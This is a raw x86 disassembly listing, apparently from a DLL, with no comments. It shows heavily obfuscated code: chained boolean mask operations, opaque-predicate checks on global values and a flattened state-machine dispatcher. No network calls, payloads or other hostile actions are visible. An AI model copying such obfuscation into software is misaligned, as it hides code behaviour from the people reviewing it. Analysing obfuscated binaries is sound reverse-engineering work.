and eax, 0x90bc1c03
xor ecx, 0xb66d0620
and ecx, edi
and edi, 0x6f43e3fc
or edi, eax
mov edx, edi
xor edx, 0x22012380
mov ebx, edi
xor ebx, 0x90bc1c03
mov eax, ebx
and ebx, 0xdd5ad07e
and edx, 0x22a52f81
or edx, ebx
or eax, 0x592111e4
mov ebx, eax
and ebx, 0x243403b2
xor edi, 0x6f43e3fc
xor edx, 0x22a52f81
or edx, edi
and edi, 0x82caec09
or edi, ebx
mov ebx, ecx
not ebx
or eax, ebx
and ebx, 0x243403b2
and ecx, 0xdbcbfc4d
or ecx, ebx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xa09c0a11
xor eax, 0x592111e4
mov edi, eax
and edi, 0x662f50a
and ecx, 0xf99d0af5
or ecx, edi
xor ecx, edx
xor ecx, 0xf99d0af5
or eax, edx
not eax
or eax, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x18d1db00
mov edx, eax
and edx, 0xe72e24ff
or edx, ecx
mov ecx, esi
xor ecx, 0x6fc736e1
mov ebx, ecx
mov dword [ebp - 0x14], ecx
xor edx, 0xe72e24ff
and edi, 0x9bf4e4af
and eax, 0x640b1b50
or eax, edi
xor eax, 0x640b1b50
or eax, edx
xor esi, 0x9038c91e
mov edx, esi
and edx, 0x7d1d1261
and ebx, 0x82e2ed9e
or ebx, edx
mov edi, eax
not edi
mov ecx, eax
and ecx, 0x66e5401
mov edx, edi
and edx, 0xf991abfe
or edx, ecx
xor ebx, 0x82e2ed9e
xor edx, 0xf991abfe
or edx, ebx
and esi, 0xa65b655
mov ecx, dword [ebp - 0x14]
and ecx, 0xf59a49aa
or ecx, esi
mov dword [ebp - 0x14], ecx
mov ecx, eax
and ecx, 0x76ac4389
mov ebx, edi
and ebx, 0x8953bc76
or ebx, ecx
mov ecx, ebx
xor ecx, 0x8953bc76
xor ebx, 0x7cc9f5dc
and ebx, ecx
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x9ced0d70
and ebx, 0x6312f28f
or ebx, ecx
or eax, 0xa65b655
or esi, eax
and eax, 0x9ced0d70
and edi, 0x6112408a
or edi, eax
xor edi, ebx
mov eax, edx
not eax
not esi
or esi, edi
xor esi, dword [ebp - 0x14]
mov edi, esi
not edi
and esi, edx
or edx, edi
not edx
and edi, eax
or edi, esi
or edi, edx
mov dword [ebp - 0x14], edi
mov eax, edi
not eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x1c], eax
and ecx, 0xf6041afa
mov eax, edi
and eax, 0x9fbe505
or eax, ecx
mov ecx, eax
xor ecx, 0x8c8a100
xor eax, 0x5400026a
and eax, 0x5533466f
and ecx, 0xaaccb990
or ecx, eax
mov esi, ecx
xor esi, 0x5533466f
and esi, ecx
mov edi, esi
not edi
mov eax, edi
and eax, 0x5fb6ce7f
mov ecx, esi
and ecx, 0xa0493180
or ecx, eax
or edx, 0xaaccb990
mov dword [ebp - 0x20], edx
mov eax, edx
not eax
mov ebx, eax
mov dword [ebp - 0x24], eax
mov eax, edx
xor eax, 0x11014207
and eax, edx
mov edx, ebx
and edx, 0x11014207
or edx, eax
mov eax, ecx
xor eax, 0xa0493180
mov dword [ebp - 0x28], eax
mov ebx, ecx
xor ebx, 0xb3087a17
and ebx, eax
mov eax, ebx
not eax
mov dword [ebp - 0x18], eax
and dword [ebp - 0x18], 0x17cc7e17
and ebx, 0xe83381e8
add ebx, dword [ebp - 0x18]
or edi, 0xecbeb468
or eax, edi
and edi, 0x17cc7e17
and esi, 0x10180
or esi, edi
xor esi, ebx
not eax
or eax, esi
and edx, 0x75bb566f
xor edx, eax
xor ecx, 0x5fb6ce7f
mov eax, ecx
and eax, 0x6155df60
mov esi, dword [ebp - 0x28]
and esi, 0x9eaa209f
or esi, eax
mov edi, esi
mov eax, dword [ebp - 0x24]
or ecx, eax
and eax, 0x41114660
mov esi, eax
mov eax, dword [ebp - 0x20]
and eax, 0x9eaa209f
or eax, esi
xor eax, edi
not ecx
or ecx, eax
mov eax, edx
xor eax, 0x8804a000
xor edx, 0x77fb5fff
mov esi, edx
and esi, 0x726145cf
and eax, 0x8d9eba30
or eax, esi
xor eax, ecx
xor eax, 0x8d9eba30
or edx, ecx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0x5533466f
and eax, edx
or edx, 0xaaccb990
mov esi, edx
and esi, 0x957b51b0
and ecx, 0x4000064f
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0x957b51b0
and eax, 0x6a84ae4f
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov esi, edx
not esi
mov eax, edx
and eax, 0x108b0092
xor edx, 0xef74e545
and edx, esi
and esi, 0x1a28
or esi, eax
xor esi, 0x1a28
or esi, edx
not edx
and edx, 0xef74e545
and esi, 0x108b1aba
or esi, edx
mov ebx, dword [ebp - 0x14]
mov eax, ebx
or eax, 0x20208c00
and eax, 0x613aae14
mov edi, dword [ebp - 0x1c]
mov ecx, edi
and ecx, 0x18045063
or ecx, eax
mov edx, edi
or edx, 0x411a2214
and edx, 0x613aae14
mov eax, ebx
and eax, 0x86c10188
or eax, edx
xor eax, ecx
xor eax, 0x591e7277
and edi, 0x5c11ac9c
mov ecx, ebx
and ecx, 0xa3ee5363
or ecx, edi
xor ecx, 0xa3ee5363
or ecx, eax
mov dword [ebp - 0x14], ecx
mov edi, ecx
not edi
mov dword [ebp - 0x18], edi
mov eax, ecx
and eax, 0xc3b5cea0
and edi, 0x3c4a315f
or edi, eax
mov ecx, esi
not ecx
mov edx, esi
and edx, 0x9d166219
mov eax, ecx
and eax, 0x62e99de6
or eax, edx
mov ebx, edi
xor ebx, 0x20481146
xor edi, 0xc3b5cea0
mov edx, esi
or edx, edi
and edi, 0x9d166219
and ebx, 0x62e99de6
or ebx, edi
xor ebx, eax
not edx
or edx, ebx
mov edi, esi
xor edi, 0xe6a293ce
and edi, esi
and ecx, 0x462201ca
and esi, 0xa0809204
or esi, ecx
mov ecx, dword [ebp - 0x14]
and ecx, 0x526bb35d
mov eax, dword [ebp - 0x18]
and eax, 0xad944ca2
or eax, ecx
mov ecx, eax
xor ecx, 0xad944ca2
xor eax, 0xb4c92093
and eax, ecx
mov ebx, esi
xor ebx, 0x80008204
xor esi, 0x5f7f6dfb
mov ecx, esi
and ecx, 0x3ff41109
and ebx, 0xc00282c6
or ebx, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0x3ff41109
and edi, 0xc00beef6
or edi, ecx
xor edi, ebx
not esi
or esi, edi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x9e136a86
and eax, 0x61ec9579
or eax, ecx
mov ecx, dword [ebp - 0x14]
or ecx, 0xe6a293ce
or edi, ecx
and ecx, 0x9e136a86
mov ebx, ecx
mov ecx, dword [ebp - 0x18]
and ecx, 0x14c0431
or ecx, ebx
xor ecx, eax
mov eax, edx
not eax
not edi
or edi, ecx
xor edi, esi
and edx, 0xda3c062a
mov ecx, eax
and ecx, 0x25c3f9d5
or ecx, edx
xor ecx, 0x25c3f9d5
mov edx, edi
xor edx, 0x6f084706
mov esi, edx
and edx, edi
not edi
and esi, edi
or edi, ecx
and ecx, 0x6f084706
and eax, 0x90f7b8f9
or eax, ecx
or edx, esi
mov esi, edx
xor esi, edx
not esi
and esi, eax
xor esi, edx
mov ecx, edi
not ecx
mov eax, esi
not eax
mov edx, eax
and edx, 0x73e027c4
and esi, 0x8c1fd83b
or esi, edx
or eax, edi
and edi, 0x73e027c4
and ecx, 0x8c1fd83b
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
mov esi, eax
xor esi, 0x193b81fe
and esi, eax
not eax
mov edx, eax
and edx, 0x4f6656a5
and ecx, 0xb099a95a
or ecx, edx
mov edx, ecx
xor edx, 0x8090a94a
xor ecx, 0x4d0602a4
and ecx, 0x7d0f02b4
and edx, 0x82f0fd4b
or edx, ecx
mov ecx, edx
xor ecx, 0x610a0090
mov edi, edx
xor edi, 0x82f0fd4b
and ecx, 0x61ca6499
xor edx, 0xe33a99d2
and edx, edi
or edx, ecx
mov ecx, edx
xor ecx, 0x61ca6499
xor edx, 0x8c318002
and ecx, 0x12841fed
and edx, 0xed7be012
or edx, ecx
mov ecx, edx
xor ecx, 0x12841fed
or eax, esi
not esi
and esi, 0xe6c47e01
and eax, 0x193b81fe
or eax, esi
mov edi, eax
not edi
mov esi, ecx
xor esi, edi
and esi, ecx
xor edx, 0xa802c010
and edx, 0xba82c198
and ecx, 0x457d3e67
or ecx, edx
and edi, 0xba82c198
and eax, 0x457d3e67
or eax, edi
xor eax, ecx
or eax, esi
xor eax, 0xffffffff
setne bh
sete dh
cmp dword [0x10045904], 0xa
setge ch
setl al
mov byte [ebp - 0x1c], al
mov cl, dh
xor cl, ch
xor cl, 1
or cl, ch
mov byte [ebp - 0x14], ch
mov ah, bh
xor ah, ch
and ah, bh
mov dl, al
and dl, dh
mov byte [ebp - 0x18], dl
and bh, ch
mov bl, dh
xor bl, al
and bl, dh
or ch, dh
or dh, al
xor dh, 1
mov dl, dh
xor dl, cl
xor cl, 1
mov al, cl
xor al, dh
or cl, dh
xor al, 1
xor dl, 1
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov al, byte [ebp - 0x14]
mov dh, byte [ebp - 0x1c]
xor al, dh
and al, cl
or cl, dh
xor cl, 1
xor al, dh
or al, cl
mov byte [ebp - 0x14], al
mov cl, al
xor cl, 1
or bh, byte [ebp - 0x18]
or bh, ah
mov al, bh
xor al, 1
xor bl, 1
mov dl, bl
xor dl, ch
or bl, ch
xor bl, 1
or bl, dl
mov dl, dh
xor dl, bl
or bl, dh
xor bl, 1
or bl, dl
xor bl, 1
mov ch, al
and ch, bh
xor ch, 1
mov dl, bh
xor dl, ch
or ch, bh
xor ch, 1
or ch, dl
xor ch, bl
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ch
xor dl, ah
and dl, ch
and ah, ch
xor ch, 1
and al, ch
or ah, al
xor dl, 1
xor ah, 1
mov al, dl
xor al, ah
or ah, dl
xor ah, 1
or ah, al
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor dl, 1
mov al, dl
xor al, ah
or dl, ah
xor dl, 1
or dl, al
mov ebx, ecx
mov al, byte [ebp - 0x14]
and bl, al
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
mov dh, dl
xor dh, 1
and dh, dl
xor dh, 1
mov al, dl
xor al, dh
or dh, dl
mov bh, bl
xor bh, 1
xor dh, 1
or dh, al
mov dl, bh
and dl, bl
xor dl, 1
or dl, bl
xor dl, 1
or dl, bh
mov al, dl
xor al, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, dh
and ah, cl
mov al, byte [ebp - 0x14]
mov dh, al
and dh, ch
or dh, ah
xor dh, 1
or dh, cl
mov cl, ch
xor cl, al
and ch, cl
and cl, al
xor ch, 1
xor cl, 1
mov al, ch
xor al, cl
or cl, ch
mov ah, dh
xor ah, 1
xor cl, 1
or cl, al
mov al, cl
xor al, 1
and cl, dh
or dh, al
and al, ah
or al, cl
xor al, 1
mov cl, dh
xor cl, al
or al, dh
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ah, cl
and ah, al
xor ah, 1
mov ch, al
xor ch, ah
or ah, al
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
and ch, ah
xor cl, ch
mov ah, cl
and ah, ch
xor ah, 1
or ch, al
or ah, cl
xor ah, 1
or ah, ch
xor ah, 1
mov al, dl
xor al, ah
mov cl, ah
and cl, al
xor al, 1
and al, ah
or ah, dl
xor al, 1
mov edx, eax
xor dl, ah
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
mov ah, al
xor ah, 1
and dl, cl
xor dl, 1
mov ch, cl
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
and ch, ah
and dl, al
or dl, ch
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb99bae2c
mov esi, 0xf8fe572e
cmovne ecx, esi
test al, 1
mov eax, 0xb99bae2c
jmp 0x10027220
cmp eax, 0x3a32672a
jg 0x10011b50
cmp eax, 0x1f92637f
jle 0x100126b4
cmp eax, 0x2c5d82f7
jg 0x10014165
cmp eax, 0x21b79a1f
jg 0x10015faa
cmp eax, 0x1f926380
je 0x10019677
cmp eax, 0x200e52ff
jne 0x1000f9b0
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov edi, eax
mov esi, edx
xor esi, 0xfba869fb
and esi, edx
mov ecx, edx
mov ebx, edx
or ecx, 0x4079000
and ecx, 0x5787d1ca
and eax, 0xa8282831
or eax, ecx
mov ecx, esi
not ecx
mov dword [ebp - 0x14], edx
or edx, ecx
and ecx, 0x5787d1ca
and esi, 0xa8782e35
or esi, ecx
xor esi, eax
not edx
or edx, esi
not esi
and esi, 0x4579604
and edx, 0xfba869fb
or edx, esi
mov dword [ebp - 0x18], edi
mov eax, edi
and eax, 0x7cd9805
mov ecx, ebx
and ecx, 0xf83267fa
or ecx, eax
xor ecx, 0xf83267fa
mov esi, ecx
xor esi, edi
and esi, ecx
mov dword [ebp - 0x20], esi
mov eax, esi
not eax
mov dword [ebp - 0x1c], eax
and eax, 0x41c56948
mov edi, esi
xor edi, 0x41c56948
and edi, esi
or edi, eax
mov esi, edx
not esi
mov eax, edx
or eax, 0x181a1631
and eax, 0x581e5739
mov ebx, esi
and ebx, 0x1c12840
or ebx, eax
mov ecx, esi
or ecx, 0x40044108
and ecx, 0x581e5739
mov eax, edx
and eax, 0xa6208086
or eax, ecx
xor eax, ebx
mov ebx, edi
xor ebx, edi
not ebx
and ebx, eax
xor ebx, edi
mov eax, edx
and eax, 0x3fdaea10
and esi, 0xc02515ef
or esi, eax
mov eax, dword [ebp - 0x20]
or edx, eax
and eax, 0x3fdaea10
mov ecx, eax
mov eax, dword [ebp - 0x1c]
and eax, 0xc02515ef
or eax, ecx
xor eax, esi
not edx
or edx, eax
not edx
or edx, ebx
mov eax, edx
not eax
and edx, 0x9c9bbc86
and eax, 0x63644379
or eax, edx
mov edx, eax
xor edx, 0x98113804
xor eax, 0x22444149
and eax, 0x26cec5cb
and edx, 0xd9313a34
or edx, eax
mov eax, edx
xor eax, 0x26cec5cb
mov ecx, edx
xor ecx, 0x1002800
and ecx, 0x7062888
xor edx, 0x31c16d23
and edx, eax
and eax, 0x10098060
or eax, ecx
xor eax, 0x10098060
or eax, edx
not edx
and edx, 0xe8f05717
and eax, 0x170fa8e8
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x38c547d0
and eax, 0xc73ab82f
or eax, ecx
xor eax, 0x38c547d0
xor edx, eax
and edx, eax
mov eax, dword [ebp - 0x14]
and eax, 0xa9b9386b
mov edi, dword [ebp - 0x18]
mov esi, edi
and esi, 0x5646c794
or esi, eax
mov ecx, esi
xor ecx, 0x5646c794
mov eax, esi
xor eax, 0x8dbbaa4e
and eax, ecx
and edi, 0xdbfd6dda
or edi, eax
mov eax, edi
xor eax, 0x58b10c90
xor esi, 0x9b11060
and esi, 0x5fb1d670
and ecx, 0xa04e298f
or ecx, esi
xor edi, 0x24029225
mov esi, edi
and esi, 0xa34ef36b
and eax, 0x5cb10c94
or eax, esi
mov esi, ecx
xor esi, 0x5fb1d670
xor ecx, 0x884
or edi, esi
and esi, 0xa34ef36b
and ecx, 0x5cb10c94
or ecx, esi
xor ecx, eax
not edi
or edi, ecx
mov eax, edi
not eax
mov esi, edi
or esi, 0x20a0c238
mov ecx, eax
or ecx, 0x5482487
and esi, 0x25e8e6bf
and eax, 0xd8031900
or eax, esi
and ecx, 0x25e8e6bf
and edi, 0x2140040
or edi, ecx
xor edi, eax
mov eax, edi
xor eax, 0x20904070
xor edi, 0x85490482
and eax, 0x78927975
and edi, 0x876d868a
or edi, eax
mov ecx, edi
xor ecx, 0x78927975
xor edi, 0x876d868a
mov eax, ecx
and eax, 0xffcbfcd7
mov esi, edi
and esi, 0x340328
or esi, eax
mov eax, esi
xor eax, 0x340328
xor esi, 0xffcbfcd7
and esi, edx
not edx
and eax, edx
or esi, eax
mov eax, esi
xor eax, edx
and eax, esi
xor ecx, edx
and ecx, edi
or edx, edi
not edx
or edx, ecx
mov esi, eax
not esi
mov ecx, edx
not ecx
and edx, esi
or esi, ecx
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x7ed94139
and ecx, 0x8126bec6
or ecx, eax
xor ecx, esi
xor ecx, 0x8126bec6
or edx, esi
not edx
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
and eax, 1
mov ecx, edx
xor ecx, 1
and ecx, edx
or ecx, eax
mov esi, edi
mov dword [ebp - 0x14], edi
and esi, 0xf81fa312
mov eax, edx
and eax, 0x7e05ced
or eax, esi
mov esi, eax
xor esi, 0x7e05ced
xor eax, 0xf81fa312
and eax, ecx
not ecx
and esi, ecx
or eax, esi
xor ecx, eax
and ecx, eax
mov dword [ebp - 0x1c], ecx
mov eax, edi
and eax, 0xf4bfbc71
mov esi, edx
and esi, 0xb40438e
or esi, eax
mov eax, esi
xor eax, 0x2004184
xor esi, 0xf0b0b040
and esi, 0xf9f0b24a
and eax, 0x60f4db5
or eax, esi
mov esi, eax
xor esi, 0xc4030
xor eax, 0x48008200
and eax, 0x48008280
and esi, 0x10dc4030
or esi, eax
mov edi, esi
xor edi, 0x10dc4030
mov eax, esi
xor eax, 0xeb022348
and eax, 0xeb0e6368
xor esi, 0x8c0c2b0
and esi, edi
and edi, 0x10d08090
or edi, eax
mov ebx, edi
xor ebx, 0x14f19c97
xor edi, 0xf011f1eb
and edi, ebx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x7e0c2758
and edi, 0x81d3c0a1
or edi, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0x7e0c375a
and esi, 0xd0c0a0
or esi, ecx
xor esi, edi
not eax
or eax, esi
mov edi, dword [ebp - 0x14]
mov esi, edi
or esi, 0x58dcc2b0
mov ecx, edx
or ecx, 0x8000280c
and ecx, 0x8002280d
or ebx, esi
and esi, 0x3091202
or esi, ecx
mov ecx, edi
or ecx, 0x18020001
and ecx, 0x9802280d
and edx, 0x24200540
or edx, ecx
xor edx, esi
xor edx, eax
xor edx, 0x148080
not ebx
or ebx, edx
mov edx, dword [ebp - 0x1c]
mov ecx, edx
not ecx
mov eax, ecx
mov esi, ecx
mov dword [ebp - 0x14], ecx
and eax, 0x53171bb2
mov ecx, edx
and ecx, 0xace8e44d
or ecx, eax
xor ecx, 0xace8e44d
mov eax, esi
and eax, edx
or eax, ecx
mov edi, ebx
xor edi, 0xa7233d4e
xor ebx, 0x58dcc2b1
mov ecx, ebx
and ecx, 0xeb29f172
mov edx, edi
and edx, 0x14d60e8d
or edx, ecx
mov ecx, edx
xor ecx, 0x1486000c
xor edx, 0xc3290022
and edx, 0xc3790ea3
and ecx, 0x3c86f15c
or ecx, edx
mov edx, eax
mov dword [ebp - 0x20], eax
mov esi, eax
not esi
mov dword [ebp - 0x18], esi
and esi, 0xd106abb5
and edx, 0x2ef9544a
or edx, esi
mov dword [ebp - 0x28], edx
mov esi, dword [ebp - 0x14]
mov edx, esi
and edx, 0x2ef9544a
mov eax, dword [ebp - 0x1c]
and eax, 0xd106abb5
or eax, edx
xor esi, eax
and esi, eax
mov edx, esi
mov esi, ecx
xor ecx, 0xc3790ea3
mov dword [ebp - 0x24], ecx
xor esi, 0x3c86f15c
mov dword [ebp - 0x1c], esi
or esi, 0x100488b4
and ecx, 0xc581408
and esi, 0x32a5c8f6
or esi, ecx
and ebx, 0x51048934
and edi, 0x80022281
or edi, ebx
mov ebx, edi
xor ebx, 0x2000
or ebx, 0x22214400
xor edi, 0x51000134
and edi, 0xd10203b5
and ebx, 0x2225ec00
or ebx, edi
mov edi, dword [ebp - 0x28]
not edi
or edi, dword [ebp - 0x18]
mov ecx, edx
not ecx
mov eax, edi
or eax, ecx
and ecx, 0xef694334
and edx, 0x1096bccb
or edx, ecx
xor edx, edi
mov ecx, edx
xor ecx, 0x1096bccb
xor edx, 0xef694334
mov edi, edx
and edx, 0xda9fcb3a
and ecx, 0x256034c5
or ecx, edx
xor ecx, eax
or edi, eax
xor ecx, 0x256034c5
not edi
or edi, ecx
mov dword [ebp - 0x14], edi
mov ecx, ebx
xor ecx, 0x2225ec00
mov dword [ebp - 0x28], ecx
xor ebx, 0xddda13ff
mov eax, ebx
and eax, 0xc31585b1
and ecx, 0x10022a04
or ecx, eax
mov dword [ebp - 0x30], ecx
mov eax, esi
xor eax, 0xcd5a3709
mov dword [ebp - 0x2c], eax
mov edi, esi
xor esi, 0xf5704d47
mov edx, esi
and edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x10096806
and edx, 0x2ff095f9
or edx, ecx
xor edi, 0x32a5c8f6
and esi, edi
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0xd00d6806
and esi, 0x2ef01448
or esi, ecx
xor esi, edx
not eax
or eax, esi
xor eax, dword [ebp - 0x30]
mov ecx, edi
and ecx, 0xa505048
mov edx, dword [ebp - 0x2c]
and edx, 0xe4adafb7
or edx, ecx
mov ecx, dword [ebp - 0x28]
or edi, ecx
and ecx, 0x11020000
and ebx, 0xe4adafb7
or ebx, ecx
xor ebx, edx
not edi
or edi, ebx
mov ecx, eax
xor ecx, 0x4400000
xor eax, 0xfb3fffff
mov edx, eax
and edx, 0xb0b4e2f6
and ecx, 0x4f4b1d09
or ecx, edx
mov edx, edi
not edx
or eax, edi
and edi, 0xb0b4e2f6
and edx, 0x4f4b1d09
or edx, edi
xor edx, ecx
not eax
or eax, edx
not eax
mov ecx, dword [ebp - 0x14]
mov edx, ecx
xor edx, eax
or eax, ecx
not edx
and edx, ecx
not eax
or edx, eax
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
and eax, edi
mov esi, dword [ebp - 0x1c]
or edi, esi
and esi, dword [ebp - 0x20]
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x83cc1811
and esi, 0x7c33e7ee
or esi, ecx
xor esi, edi
xor esi, 0x7c33e7ee
or eax, edi
not eax
or eax, esi
xor eax, edx
and edx, eax
mov ecx, eax
not ecx
mov edi, edx
not edi
mov esi, edi
and esi, 0x3fab8d49
and edx, 0xc05472b6
or edx, esi
or edi, eax
and eax, 0x3fab8d49
and ecx, 0xc05472b6
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x41a49f06
mov eax, edi
and eax, 0xbe5b60f9
or eax, ecx
mov ecx, eax
xor ecx, 0x3a484088
xor eax, 0x40049204
mov edx, eax
or edx, 0x802160
and edx, 0x4494a161
and ecx, 0x3a48528c
or ecx, edx
mov edx, edi
xor edx, 0x7e5cd28d
and edx, edi
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x4494a161
and edx, 0xbb6b5e9e
or edx, ebx
xor edx, ecx
not eax
or eax, edx
not edx
and edx, 0x1202540
and eax, 0x254c085
or eax, edx
mov ecx, eax
not ecx
or esi, 0x374e5c5
mov edx, esi
not edx
and esi, 0xd52338ea
xor edi, 0xf0811018
and edi, edx
mov dword [ebp - 0x14], edi
and edx, 0x28880210
or edx, esi
mov dword [ebp - 0x18], edx
mov edx, eax
xor edx, 0xf0a5d558
mov edi, ecx
mov dword [ebp - 0x1c], ecx
and edx, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x4386683
and edx, 0x7b46814c
or edx, esi
mov esi, edi
or esi, 0xf0a5d558
or ecx, esi
and esi, 0x84b97693
mov ebx, eax
and ebx, 0x3400004
or ebx, esi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, dword [ebp - 0x18]
mov ebx, edx
xor ebx, 0x2adcc715
xor edx, 0x2586edb2
and edx, ebx
mov esi, edx
not esi
mov edi, esi
and edi, 0x85d2201b
and edx, 0x782d1b20
or edx, edi
mov edi, dword [ebp - 0x14]
not edi
or esi, edi
and edi, 0x85d2e45b
and dword [ebp - 0x14], 0x78091a20
add dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x14]
xor edi, edx
not esi
or esi, edi
xor esi, ecx
mov ecx, eax
and ecx, 0x23081c1
mov edx, dword [ebp - 0x1c]
and edx, 0xdc7662c
or edx, ecx
mov ecx, dword [ebp - 0x18]
xor ecx, 0xd52338ea
or eax, ecx
and ecx, 0xf0081812
and ebx, 0xdc7662c
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xf671c162
and esi, 0x98e3e9d
or esi, edx
xor esi, eax
xor esi, 0x98e3e9d
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
xor eax, 0xfc8b1a3a
mov edx, ecx
xor edx, 0x248004
xor ecx, 0x15bfcc3f
and ecx, eax
mov edi, eax
or edi, 0x1083002a
mov esi, ecx
not esi
and edi, 0x1993462b
and edx, 0xe0249004
or edx, edi
or eax, esi
and esi, 0x1993462b
and ecx, 0xe66cb9d4
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
not ecx
and ecx, 0x16cb29fa
and eax, 0xe934d605
or eax, ecx
mov edx, eax
not edx
mov esi, eax
or esi, 0xc1222331
mov ecx, eax
and eax, 0x995ebfc2
mov edi, edx
and edi, 0x66a1403d
or edi, eax
mov eax, edx
xor edi, 0x66a1403d
or edi, edx
or edx, 0x3041c404
and esi, 0xf163e735
and eax, 0xa980882
or eax, esi
and edx, 0xf163e735
and ecx, 0x4041048
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, 0xd90004
xor ecx, 0xc5263379
mov edx, ecx
and edx, 0x7e22dcfb
and eax, 0x81dd2304
or eax, edx
xor eax, edi
xor eax, 0x81dd2304
or ecx, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x562fe640
and eax, 0xa9d019bf
or eax, edx
xor eax, 0xa9d019bf
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, esi
mov edi, esi
mov ebx, eax
and ebx, 0x71f2924e
mov ecx, esi
and esi, 0x8e0d6db1
or esi, ebx
and edi, 0x4495507c
xor esi, 0xb405edda
or esi, eax
and eax, 0xbb6aaf83
or eax, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0x4495507c
and edx, 0xbb6aaf83
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0xc5f77f94
mov ebx, ecx
and ebx, 0x3a08806b
or ebx, eax
mov edi, ebx
xor edi, edx
and edi, ebx
xor esi, edi
and edi, esi
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x2f4bcbb5
and edi, 0xd0b4344a
or edi, ebx
mov ebx, esi
not ebx
or eax, esi
and esi, 0x2f4bcbb5
and ebx, 0xd0b4344a
or ebx, esi
xor ebx, edi
not eax
or eax, ebx
mov esi, eax
not esi
mov edi, esi
and edi, 0x20008069
mov ebx, eax
and ebx, 0x1a080002
or ebx, edi
mov edi, ebx
xor edi, 0x18080002
xor ebx, 0xc1b33cc1
and ebx, 0xc3b33cc1
and edi, 0x3808802a
or edi, ebx
or esi, 0x2000041
and esi, 0xc3b33cc1
and eax, 0x4444314
or eax, esi
xor eax, edi
mov dword [ebp - 0x14], eax
mov eax, ecx
mov edi, ecx
xor edi, 0x492a363b
and edi, edx
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x29c29347
and edi, 0xd63d6cb8
or edi, ebx
mov ebx, edx
or ebx, 0x492a363b
or esi, ebx
and ebx, 0x29c29347
and ecx, 0x96154880
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
xor esi, 0xb6d5c9c4
and eax, 0xf142e87f
and edx, 0xebd1780
or edx, eax
mov ecx, edx
xor ecx, 0x41428036
xor edx, 0x4bd0500
and edx, 0xb4bd6d49
and ecx, 0x4b4292b6
or ecx, edx
xor ecx, 0x4b4292b6
or ecx, esi
mov esi, ecx
not esi
mov edx, esi
and edx, ecx
mov edi, ecx
and edi, 0x396c9583
and esi, 0xc6936a7c
or esi, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0x396c9583
and edx, 0xc6936a7c
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xf00e305d
and edx, 0xff1cfa2
or edx, ecx
mov eax, dword [ebp - 0x14]
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x80c561a1
and eax, 0x7f3a9e5e
or eax, ecx
mov ecx, edx
xor ecx, 0xff1cfa2
mov ebx, edx
xor ebx, 0xe0018
and ebx, 0x8ee061a
xor edx, 0x1e41c74e
and edx, ecx
and ecx, 0xf711f9e5
or ecx, ebx
mov ebx, ecx
xor ebx, 0xf711f9e5
xor ecx, 0x195e0ef6
and ecx, ebx
or edx, ecx
mov edi, eax
or edi, 0x22057302
mov ecx, eax
xor eax, 0x110080c
and edi, 0x32257342
and eax, 0x19008ac
or eax, edi
or esi, 0x10200040
and esi, 0x32257342
mov edi, dword [ebp - 0x14]
and edi, 0xcc4a8411
or edi, esi
xor ecx, 0x7f3a9e5e
xor edi, eax
xor edi, edx
or ebx, ecx
not ebx
or ebx, edi
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xc7c30d66
mov edx, ebx
